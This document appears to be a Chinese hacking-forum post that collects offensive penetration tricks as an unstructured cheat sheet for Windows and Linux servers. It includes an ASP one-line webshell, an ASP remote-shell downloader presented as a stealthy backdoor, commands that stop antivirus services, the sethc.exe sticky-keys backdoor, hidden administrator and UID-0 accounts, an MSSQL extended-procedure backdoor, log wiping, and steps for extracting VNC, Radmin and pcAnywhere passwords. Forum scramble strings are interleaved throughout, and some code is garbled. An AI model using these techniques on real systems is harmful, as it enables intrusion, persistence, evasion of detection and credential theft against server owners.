渗透技巧总结

admin

旁站路径问题
( K9 b2 l0 t, H9 x& q1、读网站配置。
2、用以下VBS
# h3 M% Y: M" C# Z2 POn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
# N9 C8 L2 E0 a7 v( y& J
" H' \* \, k7 }3 iMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

/ T& P, T1 K3 x* M4 \* g' k% H, J+ UUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
  Q5 a9 l/ c8 `5 W7 ?End If
Set ObjService=GetObject

("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
# r% M- i/ a2 d" S        If IsNumeric(obj3w.Name)
' j+ F0 t6 _8 v
Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

& a3 K+ T, }+ M1 F: v       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
/ A! i& D8 n1 D+ S: ]" n: t' _) B
OService.ServerComment & "]"
; j# I* T+ p" M0 _# R  X& B1 ?( X                For Each Binds In OService.ServerBindings
+ k; `2 W, _5 l8 b) t2 y     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
- U( W: M6 [7 z" q4 [                Next
      

" W$ ], Q9 U( L$ b         WScript.Echo "ath            : " & VDirObj.Path
        End If
- D4 f1 R/ Z, W# u% INext
8 k! l4 j( Y! e% D复制代码
# ~+ E3 E  q6 t' F8 w8 ~3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
9 ^: U" M5 S. d4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
. t4 @$ t( f8 j+ GWordPress的平台，爆绝对路径的方法是：
) R- x  ]0 d' p3 |7 wurl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
* F) d0 P% ^3 b; f1 B/ A+ L——————————————————————
phpMyAdmin暴路径办法:
1 r- l$ ^2 q# F1 RphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
. i$ n/ `7 M$ Q  E  CphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
% S3 u: }( V2 z0 a; H9 N————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
& W1 C8 m3 T, Z2 H8 z% y! q) Q————————————————————
# C7 Q( O5 I1 X. [. G# [CMD下操作VPN相关
( @' h& X2 q& y8 d* A8 u& ~5 Cnetsh ras set user administrator permit #允许administrator拨入该VPN
, ?/ }. h* S& ^- N: n( xnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
6 H3 O  x. i( Y- [' W- S9 Mnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
  }6 v( I" B4 m! R. q: k命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
0 m/ \, i% t: g6 n5 |- K$ ]7 ~exec master.dbo.sp_addlogin test,123
% k- g8 N& e* T2 j& y* M" QEXEC sp_addsrvrolemember 'test, 'sysadmin'
; T2 L- j  s9 V2 C$ Q& u然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
+ `8 M* q# G; O' J% j0 V: }在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
7 S! O/ y  ]; e" Z9 Ajs:
9 y/ @8 i7 n7 K  p9 Q( Z* Rvar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
6 i: O, x  R3 c  f# P3 Zz.changePassword("123456","")
z.setting("AccountType")=3;

: |" A% ]8 S" g) B" Z% Z# s0 Jvbs:
Set   o=CreateObject( "Shell.Users" )
1 |) I$ l& H" ?8 C7 V: [Set z=o.create("test")
z.changePassword "123456",""
' r9 w7 o1 c5 }) H9 n2 A1 ?z.setting("AccountType")=3
, t, V! J8 [# U* _  }3 ?9 s; x——————————————————
) T; x5 L$ I0 s' qcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
2 O9 y8 C5 \" J1 }3 T- W
4 C/ |1 Q% c0 J7 Z6 e$ d命令如下
5 f  f! o9 T- wcacls c: /e /t /g everyone:F           #c盘everyone权限
9 ]! y* D) G; N3 ?' Dcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
: G) K9 z( j# p3 Ca、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   
/ K7 S: h9 D: ~6 l; R5 n
杀软关闭（把杀软所在的文件的所有权限去掉）
4 i* j& F9 _* E' U- i处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
# [- M6 D- z, n$ Rnet stop "Symantec AntiVirus Definition Watcher" /y
: F7 _3 h+ i9 ]; u6 e5 X' L6 enet stop "Symantec Event Manager" /y
4 T* Y  t! ]3 l8 ]- T3 Lnet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
8 n+ F& T, {# T" w* k8 G; n3 O0 _) I
. ?: }& U9 P) z8 J卖咖啡：net stop "McAfee McShield"
) Y1 L6 G. }0 U* j7 z4 F; X+ A) b9 `  o( M; ?————————————————————

6 e; `: j9 a0 u- s% \# L5次SHIFT：
0 F( p( V8 m0 Ccopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
* L* Z# F. F6 c( P) k+ n9 @1 icopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
5 h5 W  T: ~$ s1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
! P. ~6 B& y8 d# t1 R7 g2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
9 R' I% c  J% n9 QMSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
4 F: e) f* ?$ I8 iC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
: Y6 T' p  C5 Mex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
/ H1 r5 P  w. E) r7 }当然可以直接删除ex011120.log / ex011121.log
2 B  s* [3 f3 ?用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
3 X& l, t: O1 S& v6 V* o
5 u) j3 t' Q6 \' _- g. @) dMSSQL查询分析器连接记录清除：
# E' @: Y& u) `" E* N& V4 J3 eMSSQL 2000位于注册表如下：
0 H4 X; v4 S* D5 `) @3 Z9 f. }3 lHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
# o3 w" b, }2 l9 K  V2 @6 qMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

/ ?2 ~. F; {: iServer\90\Tools\Shell\mru.dat
—————————————————————————
, B2 W  R" j' Y防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
7 C( G6 G4 {* Z: b' O, G! i
. P$ m  @$ _0 }! g$ Y<%
) C$ v( I  p/ ISub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
$ E2 F* Q! Z1 U( Q- Y: C4 }8 QOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
% @6 U* p! |. e2 j# S* s8 B- IWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
2 U+ Y: s4 v5 f( X0 `& ~GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
2 F. N7 `& g$ x8 U8 ESet Ads = Server.CreateObject("Adodb.Stream")
0 A$ Z  v9 `1 G( K  ?With Ads
' v# J3 A8 Q# X( e  ?3 r, v.Type = 1
, x( z8 }9 {% l, O; N% ].Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
) A9 b5 L$ \9 y8 W.Cancel()
* M$ [7 S' W3 ?. J. }" A' m.Close()
! O  G& }1 l% b/ u4 M" u) gEnd With
Set Ads=nothing
* m" Z0 \# w0 t& r* [$ h) EEnd Sub
0 l$ k5 \9 [* _: @
3 r( [( \. j7 d  l% NeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
( i* z1 |  h; O  i
VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
# R0 T- p% e& \! P3 a6 {' }注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
6 x3 a4 m3 W2 \# q1 ]' sregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
+ r: [2 Y+ U4 R7 J5 d+ M( RRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
) K: S! ]7 @& D: l  NHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
1 F( h1 I* d, r  j' J, j" ]然后用HASH版连接。
, C# [# A) P( B如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
7 V6 a# T6 _8 v, H2 B  s) Q保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
6 b( Y/ b( f. V来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
6 b! Z; F; Z9 h3 `9 Y  q% ?$ I$ I没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
( |* B* f: @+ q  H( s
4 ~& K9 e7 J3 J, C8 }( U1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
/ ~0 n2 d, b& p0 z! k- i! b6 e4 hstrSQLDBUserName = "数据库帐号"
4 \: A; h+ ?: |2 p- [; PstrSQLDBPassword = "数据库密码"
5 h8 ~5 v: i( K- e$ G0 ^  h) o5 qstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
  s: `: P4 A0 t
) u) W7 ]+ U! B! w";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

% T+ x' l4 Y2 C2 TstrSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
1 m( {1 E4 m! N' b1 q- x! Tset rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
0 m# v; F! ^& l* mrs.close
: N" |' G5 x& b9 x%>
8 t; b. K7 N; i- n& j0 e复制代码
/ T5 [$ Q  E0 M- C! d  t" ~******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

! C7 Y  w7 C; V( u: @; \7 l2.less /etc/ldap.conf
: m& E4 q' ]+ r+ j. {base ou=People,dc=unix-center,dc=net
- c" \# c; F% W0 |( S2 `找到ou,dc,dc设置
- x) l, R! R, a. y& ~( t2 C
; P# r+ ]  K: o$ v0 T* m/ W3.查找管理员信息
匿名方式
% j" ^' F! {+ D4 y" P" kldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
6 P3 h* C+ |! |
2 A. C' i4 P& a) o0 v"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
7 X% \5 F+ L. i& Z有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
' R* S" M  K7 S4 r" a: [2 v
  Q8 K7 q/ U, y6 e' V3 d
- v: G( G% }* d4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
# Y8 J( k0 ~% n1 Y3 O
$ v: }, _: w$ T! Z7 ?9 j实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
# }4 L* `; l& ?" q/ g
7 [0 c& U; g% P3 L" L2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
, m8 k! t0 r# P: F6 {4 X! w! a: |找到ou,dc,dc设置

/ p' ~" |; X) [- h5 C8 F3.查找管理员信息
匿名方式
! d5 S" h6 K3 {. W) f- Cldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
: J4 f( j* {, G有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
3 q. D' e& w- n, p% o
. o+ _% E3 x4 X6 ?! o; G! Y, ^
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
5 F. J( F! U0 k% L5 Zldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
6 T  a% U3 V4 e2 z1 G3 Hversion: 1
: p8 }7 X' `) M6 z5 ~dn: dc=ruc,dc=edu,dc=cn
4 O; n5 G- g3 w- `+ jdc: ruc
7 i% |" v* w' r4 s, H4 i8 fobjectClass: domain

: P' j% B0 _/ I& N8 jdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
2 N+ H. Z# [+ r* M/ j3 c. ]( ?) _objectClass: organizationalPerson
5 p! D( }! U# ~9 a0 }9 [8 cobjectClass: person
5 N  x8 M3 |/ Q2 S, Y. B3 sobjectClass: top
$ w! q- I2 x' K3 H" I  P) Msn: manager
& U, s9 e4 p& `4 a# D# ~cn: manager
" _" e9 o) K  O' G* ^
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
; R, J' J: p9 c1 Y6 b* P* A6 xuid: superadmin
8 y8 H7 k' G7 {4 D( t- \1 J0 CobjectClass: inetOrgPerson
objectClass: organizationalPerson
5 J  R1 Q& v% WobjectClass: person
objectClass: top
sn: superadmin
cn: superadmin
; e3 B% b5 Z: E
) n6 h9 B& _( K6 O6 K1 N- kdn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
5 O+ D0 [6 o/ F( KobjectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
9 P, X' j7 c8 R) f  [: GobjectClass: person
6 O& P, D. Y. |+ C7 _objectClass: organizationalPerson
( M5 X& }/ o0 BobjectClass: inetOrgPerson
7 U0 N& g, E" f$ V; wsn: dcp_anonymous
cn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
3 s1 \; e# }4 E- @version: 1
4 J. |' C  w% `$ kdn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain
: F; y# w* e9 U8 \. v9 b
9 L: }, N& Z* e! k, v& t* K5 m3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
& \* g! i' K: w/ i4 i8 `dn:
objectClass: top
" b! E$ R0 k7 [* z9 onamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
* H) m$ |$ {; Y0 }9 r7 IsupportedExtension: 2.16.840.1.113730.3.5.3
& N8 f: j* J" `6 A0 wsupportedExtension: 2.16.840.1.113730.3.5.5
6 Q9 C# u, p$ v# f7 \) vsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
5 s" Y! l, ?, {' Z/ V6 L  I/ d" j6 ]* M4 CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
7 x' l- G' |0 R  ]2 ^7 a2 gsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
7 E" T& U# `5 v! l+ W2 ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
1 E' ?) x: e7 p8 V$ L& VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
, f  v! l1 T' W5 x+ O3 y" N8 \supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
! D/ ^. G) @# d7 [. a- {7 ]supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
% o0 }. _- y  q& I: L; xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
& t, W& P& K! Q4 n8 o8 x/ `& A9 _; NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
+ N6 k& z5 w: H/ M6 C8 K3 D% O* ~supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
" u4 M8 c" |- @# I1 rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
! f. M: A8 o6 v9 A* AsupportedControl: 2.16.840.1.113730.3.4.2
& m! l( W* f' j' p/ e  `supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
3 Y# E+ f  H3 b, P7 i6 BsupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
2 k3 y" V* Z- m) g' osupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
2 x5 Z. q1 k, Q+ z+ V$ N4 ^supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
7 Q4 f$ x  d5 L# X) e/ tsupportedControl: 1.3.6.1.4.1.1466.29539.12
( W4 Z, L& Q. qsupportedControl: 2.16.840.1.113730.3.4.12
. y' j% ]- {) E& Z) w3 y# B8 N; Q! CsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
, V3 o; r3 F. G7 W2 N6 ]supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
6 y+ U" N4 L: F/ ^vendorName: Sun Microsystems, Inc.
9 D) k' A, e2 b# yvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
; i+ V' {& C6 Onetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
% R0 T" P; e, A; o( E+ tsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
& |" p2 h1 S; M( q& P! m: [" l& ^supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
4 ~+ P, w9 V  YsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
: I+ D, K/ v3 G+ usupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
  Z$ X/ c# k9 EsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
( i1 C# h# v7 F1 Z; @+ \) G# _1 LsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
* h9 R+ u# a+ i3 B) r$ ~supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
3 W* c2 ~7 M  a" PsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
- H5 K4 D. X' u: ]supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
! ?8 {- H9 y8 P+ X) S5 o7 ]( g5 r3 DsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
/ X: b; ~% ^; K8 V* R  esupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
8 O8 c% O- ]' e  Q0 zsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
( L. J. q9 }3 M1 G8 o4 ?2 d9 WsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
4 U& ?5 Q* z* y0 S# csupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
9 I- s, R$ t, p. IsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
" x5 }+ w+ ^  E$ t) f6 HsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
& ~' i1 C$ p! ]9 T* ^supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
! `' w8 G) F2 m, E8 asupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
0 s: c2 M3 R  r. F0 DsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
9 g# z& ~9 w2 e# R, l# UsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
7 E2 V$ z" o, KsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
1 L( a1 b0 h, g- G4 O* D( ]* M0 Dshowmount -e ip
列举IP
9 @9 A% C  q& D1 Y. Z——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
' I. U5 E4 _! w% X2 C7 ?; R* rrsync 210.51.X.X::
  y% ^: E' ]$ X2 x5 w$ s2 efinance
img_finance
auto
: s8 ^3 o2 @+ I1 Z& Q" wimg_auto
+ i7 `0 n  K3 a9 |html_cms
img_cms
, j9 W- R$ J  u: W$ V5 R( `ent_cms
ent_img
ceshi
res_img
res_img_c2
chip
chip_c2
ent_icms
% i; O# j1 M+ y) `8 Jgames
* r3 m6 x' c. S- \8 p9 J) O. Zgamesimg
7 i4 J) F8 \$ W: emedia
mediaimg
: w7 A2 }/ F0 P, W  G" W. ^fashion
res-fashion
8 }9 ]' I  m1 d6 ~6 i! ures-fo
taobao-home
res-taobao-home
house
res-house
res-home
( s& _# A2 E: H2 v4 Nres-edu
res-ent
res-labs
res-news
2 \8 }* N1 g# Ires-phtv
res-media
0 f5 C% c+ @- G+ G) Khome
edu
* {) Y9 U! ?$ knews
. t% s5 n% x5 ~; Hres-book
" ^* B+ x7 q. b% F/ J
! M+ N; @3 O/ E4 C/ a4 H% d3 B看相应的下级目录(注意一定要在目录后面添加上/)


rsync 210.51.X.X::htdocs_app/
5 n) e6 \5 U& t. Srsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
' t; c+ h2 V2 f8 \6 ?, l
$ J. _5 H- b2 Q4 R/ r4 J7 {2.下载rsync服务器上的配置文件
; S. s+ }" t" X0 crsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
5 {, F: h, D$ {/ b9 L7 _( Orsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
nc -vv baidu.com 80
/ @# i; z& S9 uGET HTTP://www.sina.com / HTTP/1.0
* G, x5 {3 f+ X. n0 l: ?GET HTTP://WWW.sina.com:22 / HTTP/1.0
1 b! H' {. ?# s& R4 \五.SSH端口转发
  F3 C3 ~$ `" \1 B7 X6 K( issh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
% d4 m0 x) C# h9 i% x1 s2 k
$ i. E/ v( `& C4 ~" ~六.joomla渗透小技巧
; D$ U2 J" P* r6 T% H确定版本
" p5 R0 i% v2 [index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
5 g( p- c0 H* K1 `2 ^# ?
重新设置密码
index.php?option=com_user&view=reset&layout=confirm
. |0 i7 e3 q. G5 \3 ^  g: x
七: Linux添加UID为0的root用户
7 j% E( Z% O8 v  v8 I. B% ^useradd -o -u 0 nothack
7 C. g9 t* s3 k% N
八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
. P+ J, V& d  m$ S% J* [argp@julius ~]$ sysctl vfs.usermount
9 o$ @# @9 s/ L0 w! S* vfs.usermount: 1
  M8 x! P# d4 e1 s0 i* [argp@julius ~]$ id
4 q0 D  n# a. F6 Y* uid=1001(argp) gid=1001(argp) groups=1001(argp)
$ _4 X7 g/ r4 ?9 W/ P* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
8 d& R3 \, F) i" i* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
# n$ f) c/ B0 {/ H: ^3 x
1 k9 F; i- v* ?0 Y  N( w（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
9 B2 C" Q: p- R( H& Y; f8 q——————————————
, |0 R$ Y3 B  |, E& Y+ h' P感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
